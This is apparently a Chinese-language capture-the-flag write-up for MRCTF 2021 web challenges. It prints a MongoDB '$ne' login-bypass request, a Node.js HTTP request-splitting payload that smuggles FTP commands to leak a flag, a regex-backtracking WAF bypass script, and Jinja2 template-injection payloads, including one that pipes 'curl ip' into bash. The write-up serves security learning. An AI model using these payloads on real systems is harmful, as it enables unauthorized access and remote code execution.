MRCTF 2021
- 在大佬们的帮助下做出了两题
Half-Nosqli
作者及题目描述
Author: Eki
node是什么?好吃吗?
swagger是什么?好吃吗
mongo是什么?好吃吗?
ftp是什么?好吃吗?
flag在ftp服务files文件夹下
题目附件
- 给了个docker-compose.yml
version: '3'
services:
ftp:
restart: always
build:
context: ftp/
dockerfile: Dockerfile
container_name: nosqli_ftp
expose:
- 8899
web:
build:
context: web/
dockerfile: Dockerfile
ports:
- "23000:3000"
depends_on:
- mongodb
mongodb:
restart: always
image: mongo:4.0-xenial
container_name: nosqli_mongodb
volumes:
- ./db:/data/db
expose:
- 27017
networks:
nosqli-net:
解题
api
直接打开会发现404,扫目录后发现http://node.mrctf.fun:23000/docs, (或者根据题目描述的swagger),这应该是一个api接口的文档,
按照json格式发送过去 返回 Password or Email mismatch
爆破 常见的一些注入后 无事发生
nosql注入
根据提示,后端用的 nodejs+mongo,那是有可能存在nosql注入的,具体原理看下面几个文章吧
参考文章
https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
https://ca01h.top/Web_security/basic_learning/21.NoSQL%E6%B3%A8%E5%85%A5%E4%B9%8BMongoDB/
payload
POST /login HTTP/1.1
Host: node.mrctf.fun:23000
Content-Length: 44
Content-Type: application/json
Origin: http://node.mrctf.fun:23000
Referer: http://node.mrctf.fun:23000/docs
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"email":{"$ne": ""},"password":{"$ne": ""}}
之后我们能得到一个jwt,放在header里,根据api文档的,home路由可以传url
这里我们传 www.baidu.com 试试,或者填自己vps的地址,发现他就是一个简单的请求,并且把响应的内容返回给我们,尝试其他 file:// ftp:// 协议无果
http拆分攻击
这里涉及到一个nodejs的 http拆分攻击
https://blog.szfszf.top/article/41/
简而言之,漏洞原因是当http包在处理http请求路径时,默认使用了
latin1
单字节编码字符集,当我们的请求路径中含有多字节编码的unicode字符时,会被截断取最低字节。比如
\u0130
就会被截断为\u30
为了避免crlf注入,nodejs也会将输入的
\r\n
url编码为%0d%0a
,但是我们可以通过上面的漏洞就可以绕过。
不替换的结果
可以将\r\n
替换为 \u010D\u010A
,这里其实同样需要替换的还有空格 换成\u0120
payload
{"url":"http://ip/\u010D\u010AUSER\u0120anonymous\u010D\u010APASS\u0120anonymous\u010D\u010ACWD\u0120.\u010D\u010ATYPE\u0120A\u010D\u010APORT\u0120ip,ip,ip,ip,port,port\u010D\u010ARETR\u0120flag\u010D\u010A"}
替换后的效果
撸ftp
这里建议自己搭ftp服务器试试,脚本如下
from pyftpdlib import authorizers
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.servers import FTPServer
from pyftpdlib.handlers import FTPHandler
def main():
# Instantiate a dummy authorizer for managing 'virtual' users
authorizer = DummyAuthorizer()
# Define a read-only anonymous user
authorizer.add_anonymous('.')
# Instantiate FTP handler class
handler = FTPHandler
handler.permit_foreign_addresses = True # 比一般的脚本多了这一行,不然你无法使用主动模式设置你自己的ip和端口将内容带出
handler.authorizer = authorizer
handler.debug = True
# Define a customized banner (string returned when client connects)
handler.banner = "Welcome Carrot2"
# Instantiate FTP server class and listen on 127.0.0.1:21
address = ('0.0.0.0', 30030)
server = FTPServer(address, handler)
# set a limit for connections
server.max_cons = 256
server.max_cons_per_ip = 5
# start ftp server
server.serve_forever()
main()
众所周知 ftp服务要登录,以前的题目是可以直接用ftp协议的,这里我们要用http协议,所以需要手动登录(设置 USER 和 PASS ),但是题目也没给账号密码
众所周知 ftp是可以匿名登录的,直接把用户名设成 anonymous
就可以匿名访问
然后就稍微涉及到计算机网络的一些内容,需要写个非常简单的ftp客户端与自己搭的ftp服务器试试
ftp控制命令
实际没有#
后的内容
USER anonymous # 登录匿名用户
PASS anonymous # 登录匿名用户
PORT n1,n2,n3,n4,n5,n6 # 设置主动的ip和端口,格式见上
RETR flag # 获取flag
将这些指令发送到ftp端口后,理论上监听的端口上会收到flag内容
ftp客户端socket编写
客户端需要将这些指令以tcp连接的方式发送到服务器,所以需要手写下socket
这里有个小坑,我的python默认换行\n
,实际上需要 \r\n
才行
import socket
HOST = '' # 服务器的主机名或者 IP 地址
PORT = # 服务器使用的端口
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
data = s.recv(1024)
print('Received', repr(data))
cmds = """USER anonymous
PASS anonymous
PORT n1,n2,n3,n4,n5,n6
RETR flag
""".splitlines()
for cmd in cmds:
cmd = cmd + '\r\n'
s.sendall(cmd.encode())
data = s.recv(1024)
print('Rcv', repr(data))
s.close()
获取ftp docker的地址
这里涉及到dockerfile的一些知识
以这个题目为例,第三行位置的ftp
和container_name
的nosqli_ftp
都可以作为容器间通信的名字
version: '3'
services:
ftp:
restart: always
build:
context: ftp/
dockerfile: Dockerfile
container_name: nosqli_ftp
expose:
- 8899
正式解题
上面搞了半天之后,组合一下
最终payload
{"url":"http://nosqli_ftp:8899/\u010D\u010AUSER\u0120anonymous\u010D\u010APASS\u0120anonymous\u010D\u010APORT\u0120n1,n2,n3,n4,n5,n6\u010D\u010ARETR\u0120flag\u010D\u010A"}
flag
MRCTF{Unfinished_Cha11enge_Accomp1ish3d}
参考文章
wwwafed_app
作者及题目描述
Author: Arklight
I bought a WAF for my vulnerable app, and I think it’s unbreakable now.
node.mrctf.fun:15000
解题
直接扫目录能扫到一个source
from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
@app.route("/waf")
def wafsource():
return open("waf.py").read()
@app.route("/source")
def appsource():
return open(__file__).read()
@app.route("/api/spider/<url>")
def spider(url):
url = base64.b64decode(url).decode('utf-8')
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()
if block == "PASS":
try:
req = requests.get("http://"+url,timeout=5)
return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
return Template("访问{}失败!".format(safeurl)).render()
else:
return Template("WAF已拦截,请不要乱输入参数!").render()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)
右上角还贴心的给了waf的源码,
import re,sys
import timeout_decorator
@timeout_decorator.timeout(5)
def waf(url):
# only xxx.yy-yy.zzz.mrctf.fun allow
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
if re.match(pat,url) is None:
print("BLOCK",end='') # 拦截
else:
print("PASS",end='') # 不拦截
if __name__ == "__main__":
try:
waf(sys.argv[1])
except:
print("PASS",end='')
两个源码,首先要过这个waf的正则,常规办法是过不去滴
这里能看到有个 @timeout_decorator.timeout(5)
,设置了超时时间,并且超时之后进入except是能返回PASS的结果的
就能很自然的想到p神的pcre正则回溯超时的姿势,这里只不过在python里,php里面都要100万的长度,但实际上url一般不支持这么长的,这里测了下发现五百上下即可超过5s
因为编码挺麻烦的,写个脚本
import requests
import base64
from urllib.parse import quote
commd = """node.mrctf.fun""" + 'a' * 500 + """.aaaa.com"""
# pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
burp0_url = "http://node.mrctf.fun:15000/api/spider/" + quote(base64.b64encode(commd.encode()).decode())
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close",
"Referer": "http://node.mrctf.fun:15000/"}
r = requests.get(burp0_url, headers=burp0_headers)
print(r.text)
500个就能绕过去了
能返回这个结果说明就绕过去了
其实可以考虑命令执行,但是发现有 shlex.quote
,这个的作用相当于php中的escapeshellarg
_find_unsafe = re.compile(r'[^\w@%+=:,./-]', re.ASCII).search def quote(s): """Return a shell-escaped version of the string *s*.""" if not s: return "''" if _find_unsafe(s) is None: return s # use single quotes, and put single quotes into double quotes # the string $'b is then quoted as '$'"'"'b' return "'" + s.replace("'", "'\"'\"'") + "'"
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()
所以命令执行是做不到的,乖乖看后面的源码
try:
req = requests.get("http://"+url,timeout=5)
return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
return Template("访问{}失败!".format(safeurl)).render()
明显就是个ssti,这里什么都没ban,随便找个以前的payload打一套弹shell,或者直接读flag也行
{{Template.__init__.__globals__.__builtins__['ev'+'al']("__imp"+"ort__('o'+'s').popen('curl ip |bash').read()")}}
{{Template.__init__.__globals__.__builtins__.open("/flag")}}
后来不知道哪个小可爱 把flag删了,写wp的时候发现shell也弹不了了
web_check_in
作者及题目描述
Author: BubbleGVM
真的签到
hint1: 尝试sql注入出不一样的回显
hint2: 时间盲注
hint3: 这个随机数怎么和我平时用的不太一样?
hint4: 你知道php在apache是怎么装载的嘛?
node.mrctf.fun:10023
解题
阿巴阿巴。。